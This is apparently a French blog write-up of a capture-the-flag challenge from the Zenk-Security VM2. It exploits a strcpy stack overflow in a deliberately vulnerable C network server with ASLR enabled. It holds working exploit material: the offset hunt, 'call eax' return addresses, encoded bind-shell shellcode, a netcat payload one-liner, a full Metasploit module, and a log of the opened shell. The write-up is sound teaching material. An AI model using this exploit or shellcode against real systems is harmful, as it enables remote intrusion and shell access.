Hello les gens!

Aujourd’hui je vais vous présenter ma solution du challenge 4 de la VM2 de Zenk-Security.

C’est un challenge vraiment pas mal du tout, il a l’ASLR d’activé et est en remote :).

Tout d’abord il faut récupérer la machine virtuelle ici.

Et le code du challenge :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
//gcc -o final final.c -mpreferred-stack-boundary=2 -fno-stack-protector
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 1024 
#define BACKLOG 5      


void process(char *buffer);
void cleanup(int socket_descriptor, int incoming_socket);

int main(int argc, char *argv[]) {

    int   socket_descriptor = -1;
    int   incoming_socket;
 int   server_port = 7777;
    int   message_length;
    int   i_want_reusable_ports = 1;
    int   length;
    int   index;
 
    char   buffer[BUFFER_SIZE];
 
    struct   sockaddr_in my_address;
    struct   sockaddr_in their_address;

    socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);


    if (socket_descriptor < 0) 
 {
  cleanup(socket_descriptor, incoming_socket);
  exit(1);
    }


    if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1)
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(2);
    }


    my_address.sin_family = AF_INET;
    my_address.sin_port = htons(server_port);
    my_address.sin_addr.s_addr = INADDR_ANY;
    memset(&(my_address.sin_zero), '0', 8);

    if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) 
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(3);
    }


    if (listen(socket_descriptor, BACKLOG) == -1) 
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(4);
    }

 length = sizeof(my_address);

    while (1) 
 {
  
  memset(buffer,0,BUFFER_SIZE);

        if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) 
  {
            cleanup(socket_descriptor, incoming_socket);
            exit(5);
        }

  if(!strcmp(inet_ntoa(their_address.sin_addr),"127.0.0.1"))
  {
   printf("Local Interdit!\n");
   exit(6);
  }
  
        printf("Client : %s...\n", inet_ntoa(their_address.sin_addr));
        send(incoming_socket, "Bienvenue!\n", 11, 0);
        
  index = 0;

  while ((message_length = read(incoming_socket, buffer + index, 1)) > 0)
  {
            index += message_length;
            
   if (buffer[index - 1] == '\0')
                break;
        }

        printf("Message recu : %s\n", buffer);

        process(buffer);

        close(incoming_socket);
    }

    cleanup(socket_descriptor, incoming_socket);
    return 0;
}

void process(char *buffer) 
{
    char local_buffer[1024];
    strcpy(local_buffer, buffer);
}

void cleanup(int socket_descriptor, int incoming_socket) 
{
        if (socket_descriptor != -1)  {
                close(socket_descriptor);
                close(incoming_socket);
        }
}

On voit tout de suite que la vuln’ se trouve dans process().

L’assembly correspondant :

1
2
3
4
5
6
7
8
9
10
11
12
Dump of assembler code for function process:
   0x080489c8 <+0>: push   ebp
   0x080489c9 <+1>: mov    ebp,esp
   0x080489cb <+3>: sub    esp,0x408
   0x080489d1 <+9>: mov    eax,DWORD PTR [ebp+0x8]
   0x080489d4 <+12>: mov    DWORD PTR [esp+0x4],eax
   0x080489d8 <+16>: lea    eax,[ebp-0x400]
   0x080489de <+22>: mov    DWORD PTR [esp],eax
   0x080489e1 <+25>: call   0x80485a4 <strcpy@plt>
   0x080489e6 <+30>: leave  
   0x080489e7 <+31>: ret    
End of assembler dump.

Cool, notre eax est pas modifié or on sait que strcpy() renvoi l’adresse de notre buffer, ça peut être utile pour les instructions du genre :

1
call eax

On va chercher ça avec objdump :

1
2
3
4
[user4@ZenkApp2 ~]$ objdump -d ./final | grep call | grep eax
 80486a8: ff 14 85 28 9b 04 08  call   *0x8049b28(,%eax,4)
 80486ef: ff d0                 call   *%eax
 8048a9b: ff d0                 call   *%eax

Et voilà nos deux addresses : 0x080486ef et 0x08048a9b.

On va poutrer ça de 2 manières :

  • façon classique avec notre vieux python
  • avec un sploit metasploit

Tout d’abord on va chercher l’offset où on re-écrit EIP.

Sous la VM on met en place GDB :

1
2
3
[user4@ZenkApp2 ~]$ gdb -q ./final
Reading symbols from /home/user4/final...(no debugging symbols found)...done.
gdb$ r

Puis on envoi un pattern metasploit à partir de notre machine :

1
2
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 1040 | nc 192.168.56.101 7777
Bienvenue!

Regardons ce qui s’est passé dans notre VM?

1
2
3
4
5
6
7
8
9
10
11
Client : 192.168.56.1...
Message recu : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: BF8AD940  EBX: B77CCFF4  ECX: 00000000  EDX: 0000040E  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: 69423169  ESP: BF8ADD48  EIP: 33694232
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x33694232
0x33694232 in ?? ()
gdb$ 

On cherche l’offset correspondant :

1
2
m_101@m_101-laptop:~/repos/msf$ tools/pattern_offset.rb `python -c 'print "\x32\x42\x69\x33"'`
1028

Ok cool on a l’offset pour re-écrire EIP.

Maintenant on va poutrer ça avec une payload de type bind shell. Vu que c’est pas un write-up shellcoding, on va pas s’embêter : msfpayload nous générera notre payload ^^.

1
2
3
4
5
6
7
8
9
10
11
12
m_101@m_101-laptop:~/repos/msf$ ./msfpayload linux/x86/shell_bind_tcp RHOST=192.168.56.101 RPORT=7337 R | ./msfencode -a x86 -b "\x00" -t c
[*] x86/shikata_ga_nai succeeded with size 106 (iteration=1)

unsigned char buf[] = 
"\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6"
"\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11"
"\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86"
"\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3"
"\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6"
"\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57"
"\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95"
"\x19";

Bon reste plus qu’à faire à notre ami netcat, on envoi la payload :

1
python -c 'print "\x90" * 922 + "\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95\x19" + "\xef\x86\x04\x08"' | nc 192.168.56.101 7777

Puis on se connecte :

1
nc 192.168.56.101 7337

Et wala :).

Maintenant la deuxième méthode, voilà mon sploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VMZenk2 level4 (Linux)',
   'Description'    => %q{
                Exploit challenge 4 VMZenk2
                Bypass ASLR ;)
   },
   'Author'         => [ 'm_101' ],
   'Version'        => '$Revision: 11031 $',
   'Resources'     =>
    [
     ['URL', 'http://binholic.blogspot.com']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1020,
                    # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
     'BadChars' => "\x0a\x0d\x00",
                    'DisableNops' => true
    },
   'Platform'       => [ 'linux', ],
   'Targets'        =>
   [
    [ 'VMZenk2 Linux ASLR ON',
     {
      'Ret' => ''  # empty (we randomize it in the exploit()
     }
    ]
   ],
            'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 13 2010'))

  register_options(
   [
    Opt::RPORT(7777),
   ], self.class )
 end

 def exploit
        connect

        # both ret return to : call eax
        rets = [ 0x080486ef, 0x08048a9b ]

        ret_offset = 1028

        egg = payload.encoded
        egg << rand_text_alphanumeric(ret_offset - egg.length)
        # usual way to do :
        # egg << [target.ret].pack('V')
        # better way :)
        egg << [rets[rand(rets.length)]].pack('V')

        sock.put(egg)
        handler
        disconnect
 end
end

Ca donne ça :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
m_101@m_101-laptop:~/repos/msf$ ./msfconsole 

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 632 exploits - 311 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11031 updated today (2010.11.13)

msf > use exploit/linux/misc/vmzenk2level4
msf exploit(vmzenk2level4) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(vmzenk2level4) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(vmzenk2level4) > exploit 

[*] Started bind handler
[*] Command shell session 1 opened (192.168.56.1:56405 -> 192.168.56.101:4444) at Sat Nov 13 23:22:23 +0100 2010

ls
=
final
final.c
pass
id
uid=1004(user4) gid=1004(user4) groups=1004(user4)

J’espère que ce write-up vous a plu (surtout le temps que ça m’a pris pour l’écrire :p).

Have fun ;),

m_101

Ressources